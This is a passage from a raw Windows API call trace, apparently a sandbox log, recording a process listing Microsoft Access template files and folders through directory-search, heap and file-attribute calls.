(HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228350 [0079.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.872] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5d4200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b5d4200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1062, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start End Dates.accft", cAlternateFileName="")) returned 1 [0079.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3ad0 [0079.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228458 [0079.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5c40) returned 0x122eef8 [0079.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12292f0) returned 1 [0079.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.873] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x687a3100, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x687a3100, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="Status.accft", cAlternateFileName="")) returned 1 [0079.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3af0 [0079.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228560 [0079.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.874] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7334c600, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7334c600, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tags.accft", cAlternateFileName="")) returned 1 [0079.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3b10 [0079.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228668 [0079.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.875] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7334c600, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7334c600, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tags.accft", cAlternateFileName="")) returned 0 [0079.875] GetLastError () returned 0x12 [0079.875] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0079.875] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.875] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.875] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2224d200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="")) returned 1 [0079.875] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x294be000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x294be000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x110c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Category.accft", cAlternateFileName="")) returned 1 [0079.875] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34067500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34067500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1134, dwReserved0=0x0, dwReserved1=0x0, cFileName="Name.accft", cAlternateFileName="")) returned 1 [0079.876] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5eb000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c5eb000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1109, dwReserved0=0x0, dwReserved1=0x0, cFileName="Payment Type.accft", cAlternateFileName="")) returned 1 [0079.876] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484a7200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x484a7200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phone.accft", cAlternateFileName="")) returned 1 [0079.876] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54363400, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54363400, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x112d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Priority.accft", cAlternateFileName="")) returned 1 [0079.876] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5d4200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b5d4200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1062, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start End Dates.accft", cAlternateFileName="")) returned 1 [0079.876] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x687a3100, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x687a3100, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="Status.accft", cAlternateFileName="")) returned 1 [0079.876] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7334c600, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7334c600, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tags.accft", cAlternateFileName="")) returned 1 [0079.876] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7334c600, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7334c600, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tags.accft", cAlternateFileName="")) returned 0 [0079.876] GetLastError () returned 0x12 [0079.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1227c18) returned 1 [0079.876] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0079.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1227d20) returned 1 [0079.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1227b10) returned 1 [0079.877] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="")) returned 1 [0079.877] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedfe600, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdedfe600, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7490b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faculty.accdt", cAlternateFileName="")) returned 1 [0079.877] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85166900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85166900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x80f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="")) returned 1 [0079.877] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7c1e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb7c1e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x10e5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marketing Projects.accdt", cAlternateFileName="")) returned 1 [0079.877] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0x1f5a52, dwReserved0=0x0, dwReserved1=0x0, cFileName="Northwind.accdt", cAlternateFileName="")) returned 1 [0079.877] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1 [0079.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.877] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0079.878] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0079.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.879] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0079.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.879] NtClose (Handle=0x178) returned 0x0 [0079.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fce90) returned 1 [0079.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fce90 [0079.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcd80 [0079.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcf18 [0079.879] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0079.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bae3a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="")) returned 1 [0079.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227b10 [0079.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcd80) returned 1 [0079.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3b30 [0079.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227d20 [0079.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.888] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34067500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34067500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6005, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Top.accdt", cAlternateFileName="")) returned 1 [0079.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3b50 [0079.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1227c18 [0079.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4385be00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fc9050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4385be00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6306, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 Right.accdt", cAlternateFileName="")) returned 1 [0079.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3b70 [0079.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228770 [0079.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bddf900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bddf900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x63ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 Top.accdt", cAlternateFileName="")) returned 1 [0079.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3b90 [0079.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228878 [0079.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.892] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9bb00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57c9bb00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x4a87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comments.accdt", cAlternateFileName="")) returned 1 [0079.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3bb0 [0079.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228980 [0079.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.893] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64e6aa00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64e6aa00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x4c444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="")) returned 1 [0079.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0079.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3bd0 [0079.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1228a88 [0079.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0079.894] 